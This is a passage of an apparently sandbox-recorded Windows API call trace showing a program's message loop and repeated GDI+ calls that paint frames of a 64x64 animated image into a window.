returned 0x18a002e [0140.507] SaveDC (hdc=0x330106ea) returned 1 [0140.507] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff8d040b8a [0140.507] GetClipRgn (hdc=0x330106ea, hrgn=0xffffffff8d040b8a) returned 0 [0140.507] SelectClipRgn (hdc=0x330106ea, hrgn=0xffffffffbd0407c3) returned 2 [0140.507] DeleteObject (ho=0xffffffff8d040b8a) returned 1 [0140.507] DeleteObject (ho=0xffffffffbd0407c3) returned 1 [0140.507] OffsetViewportOrgEx (in: hdc=0x330106ea, x=0, y=0, lppt=0x26c8308 | out: lppt=0x26c8308) returned 1 [0140.507] GetNearestColor (hdc=0x330106ea, color=0xffffff) returned 0xffffff [0140.508] CreateSolidBrush (color=0xffffff) returned 0xffffffff95100190 [0140.508] FillRect (hDC=0x330106ea, lprc=0x15d7c0, hbr=0xffffffff95100190) returned 1 [0140.508] DeleteObject (ho=0xffffffff95100190) returned 1 [0140.508] RestoreDC (hdc=0x330106ea, nSavedDC=-1) returned 1 [0140.508] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.508] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x330106ea) returned 0x0 [0140.508] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcbc0dbd) returned 0x0 [0140.508] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.508] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0140.508] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.508] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.508] GetSystemMetrics (nIndex=42) returned 0 [0140.509] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.509] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.509] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.509] CoTaskMemFree (pv=0x1e91eca0) [0140.509] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x4) returned 0x0 [0140.511] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0140.511] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0140.511] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0140.511] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0140.512] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x330106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0140.512] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.512] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x330106ea) returned 0x0 [0140.512] SelectObject (hdc=0x330106ea, h=0x185000f) returned 0x1a05067e [0140.512] DeleteDC (hdc=0x330106ea) returned 1 [0140.512] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.512] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0140.512] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0140.513] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0140.513] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.513] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.513] WaitMessage () returned 1 [0140.685] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.685] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.685] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.685] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.685] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0140.685] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0140.685] GetCurrentThreadId () returned 0xec0 [0140.685] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0140.685] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.685] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.685] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.685] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.685] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0140.686] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0140.686] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0140.686] CreateCompatibleDC (hdc=0x3010b83) returned 0x340106ea [0140.686] SelectObject (hdc=0x340106ea, h=0x1a05067e) returned 0x185000f [0140.686] GdipCreateFromHDC (hdc=0x340106ea, graphics=0x15daf0) returned 0x0 [0140.686] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0140.686] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0140.686] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0140.686] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0140.687] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0140.687] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.687] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0140.687] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.687] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.688] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0140.688] GdipCreateRegion (region=0x15dc20) returned 0x0 [0140.688] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0140.688] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0140.688] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0140.688] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.688] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.688] GetSystemMetrics (nIndex=42) returned 0 [0140.688] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.688] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.688] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.688] CoTaskMemFree (pv=0x1e91eca0) [0140.688] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0140.689] GdipCreateRegion (region=0x15d710) returned 0x0 [0140.689] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0140.689] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0140.689] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0140.689] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0140.689] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.689] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.689] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.689] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0140.690] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.690] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.690] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.690] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.690] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0140.690] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0140.690] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0140.690] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0140.690] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.690] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0140.691] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0140.691] GetCurrentObject (hdc=0x340106ea, type=0x1) returned 0x1b00017 [0140.691] GetCurrentObject (hdc=0x340106ea, type=0x2) returned 0x1900010 [0140.691] GetCurrentObject (hdc=0x340106ea, type=0x7) returned 0x1a05067e [0140.691] GetCurrentObject (hdc=0x340106ea, type=0x6) returned 0x18a002e [0140.691] SaveDC (hdc=0x340106ea) returned 1 [0140.691] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffbe0407c3 [0140.691] GetClipRgn (hdc=0x340106ea, hrgn=0xffffffffbe0407c3) returned 0 [0140.691] SelectClipRgn (hdc=0x340106ea, hrgn=0xffffffff8e040b8a) returned 2 [0140.691] DeleteObject (ho=0xffffffffbe0407c3) returned 1 [0140.691] DeleteObject (ho=0xffffffff8e040b8a) returned 1 [0140.691] OffsetViewportOrgEx (in: hdc=0x340106ea, x=0, y=0, lppt=0x26c9600 | out: lppt=0x26c9600) returned 1 [0140.692] GetNearestColor (hdc=0x340106ea, color=0xffffff) returned 0xffffff [0140.692] CreateSolidBrush (color=0xffffff) returned 0xffffffff96100190 [0140.692] FillRect (hDC=0x340106ea, lprc=0x15d7c0, hbr=0xffffffff96100190) returned 1 [0140.692] DeleteObject (ho=0xffffffff96100190) returned 1 [0140.692] RestoreDC (hdc=0x340106ea, nSavedDC=-1) returned 1 [0140.692] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.692] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x340106ea) returned 0x0 [0140.692] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcba0dbd) returned 0x0 [0140.692] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.692] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0140.692] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.692] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.692] GetSystemMetrics (nIndex=42) returned 0 [0140.693] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.693] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.693] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.693] CoTaskMemFree (pv=0x1e91eca0) [0140.693] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0140.693] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0140.693] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0140.693] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0140.693] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x340106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0140.693] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.693] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x340106ea) returned 0x0 [0140.694] SelectObject (hdc=0x340106ea, h=0x185000f) returned 0x1a05067e [0140.694] DeleteDC (hdc=0x340106ea) returned 1 [0140.694] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.694] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0140.694] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0140.694] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0140.694] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.694] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.694] WaitMessage () returned 1 [0140.856] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.856] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.857] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.857] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.857] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0140.857] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0140.857] GetCurrentThreadId () returned 0xec0 [0140.857] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0140.857] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.857] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.857] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.858] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.858] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0140.858] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0140.858] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0140.858] CreateCompatibleDC (hdc=0x3010b83) returned 0x350106ea [0140.858] SelectObject (hdc=0x350106ea, h=0x1a05067e) returned 0x185000f [0140.858] GdipCreateFromHDC (hdc=0x350106ea, graphics=0x15daf0) returned 0x0 [0140.859] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0140.859] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0140.859] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0140.859] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0140.859] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0140.859] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.859] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0140.860] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.860] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.860] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0140.860] GdipCreateRegion (region=0x15dc20) returned 0x0 [0140.860] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0140.860] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0140.860] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0140.860] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.860] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.860] GetSystemMetrics (nIndex=42) returned 0 [0140.860] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.861] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.861] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.861] CoTaskMemFree (pv=0x1e91eca0) [0140.861] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0140.861] GdipCreateRegion (region=0x15d710) returned 0x0 [0140.861] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0140.861] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0140.861] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0140.861] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0140.861] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.861] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.862] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.862] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0140.862] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.862] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.862] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.863] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.863] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0140.863] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0140.863] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0140.863] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0140.863] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.863] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0140.864] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0140.864] GetCurrentObject (hdc=0x350106ea, type=0x1) returned 0x1b00017 [0140.864] GetCurrentObject (hdc=0x350106ea, type=0x2) returned 0x1900010 [0140.864] GetCurrentObject (hdc=0x350106ea, type=0x7) returned 0x1a05067e [0140.864] GetCurrentObject (hdc=0x350106ea, type=0x6) returned 0x18a002e [0140.864] SaveDC (hdc=0x350106ea) returned 1 [0140.864] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff8f040b8a [0140.864] GetClipRgn (hdc=0x350106ea, hrgn=0xffffffff8f040b8a) returned 0 [0140.864] SelectClipRgn (hdc=0x350106ea, hrgn=0xffffffffbf0407c3) returned 2 [0140.864] DeleteObject (ho=0xffffffff8f040b8a) returned 1 [0140.865] DeleteObject (ho=0xffffffffbf0407c3) returned 1 [0140.865] OffsetViewportOrgEx (in: hdc=0x350106ea, x=0, y=0, lppt=0x26c9f38 | out: lppt=0x26c9f38) returned 1 [0140.865] GetNearestColor (hdc=0x350106ea, color=0xffffff) returned 0xffffff [0140.865] CreateSolidBrush (color=0xffffff) returned 0xffffffff97100190 [0140.865] FillRect (hDC=0x350106ea, lprc=0x15d7c0, hbr=0xffffffff97100190) returned 1 [0140.865] DeleteObject (ho=0xffffffff97100190) returned 1 [0140.865] RestoreDC (hdc=0x350106ea, nSavedDC=-1) returned 1 [0140.865] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.865] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x350106ea) returned 0x0 [0140.865] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcb80dbd) returned 0x0 [0140.866] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.866] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0140.866] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.866] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.866] GetSystemMetrics (nIndex=42) returned 0 [0140.866] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.866] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.866] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.866] CoTaskMemFree (pv=0x1e91eca0) [0140.866] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x6) returned 0x0 [0140.869] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0140.869] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0140.869] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0140.869] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0140.869] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x350106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0140.869] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.869] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x350106ea) returned 0x0 [0140.869] SelectObject (hdc=0x350106ea, h=0x185000f) returned 0x1a05067e [0140.869] DeleteDC (hdc=0x350106ea) returned 1 [0140.870] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.870] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0140.870] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0140.870] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0140.870] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.870] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0140.870] WaitMessage () returned 1 [0141.044] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0141.044] IsWindowUnicode (hWnd=0x2031e) returned 1 [0141.044] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0141.044] TranslateMessage (lpMsg=0x15e910) returned 0 [0141.044] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0141.044] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0141.044] GetCurrentThreadId () returned 0xec0 [0141.044] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0141.045] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0141.045] IsWindowUnicode (hWnd=0x2031e) returned 1 [0141.045] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0141.045] TranslateMessage (lpMsg=0x15e910) returned 0 [0141.045] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0141.045] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0141.045] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0141.045] CreateCompatibleDC (hdc=0x3010b83) returned 0x360106ea [0141.045] SelectObject (hdc=0x360106ea, h=0x1a05067e) returned 0x185000f [0141.046] GdipCreateFromHDC (hdc=0x360106ea, graphics=0x15daf0) returned 0x0 [0141.046] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0141.046] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0141.046] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0141.046] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0141.046] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0141.046] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.046] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0141.047] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.047] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.047] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0141.047] GdipCreateRegion (region=0x15dc20) returned 0x0 [0141.047] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0141.047] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0141.047] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0141.048] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0141.048] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0141.048] GetSystemMetrics (nIndex=42) returned 0 [0141.048] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0141.048] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0141.048] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0141.048] CoTaskMemFree (pv=0x1e91eca0) [0141.048] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0141.048] GdipCreateRegion (region=0x15d710) returned 0x0 [0141.048] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0141.048] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0141.048] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0141.048] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0141.048] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.049] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0141.049] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.049] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0141.049] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0141.049] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0141.050] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0141.050] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0141.050] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0141.050] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0141.050] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0141.050] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0141.050] FindAtomW 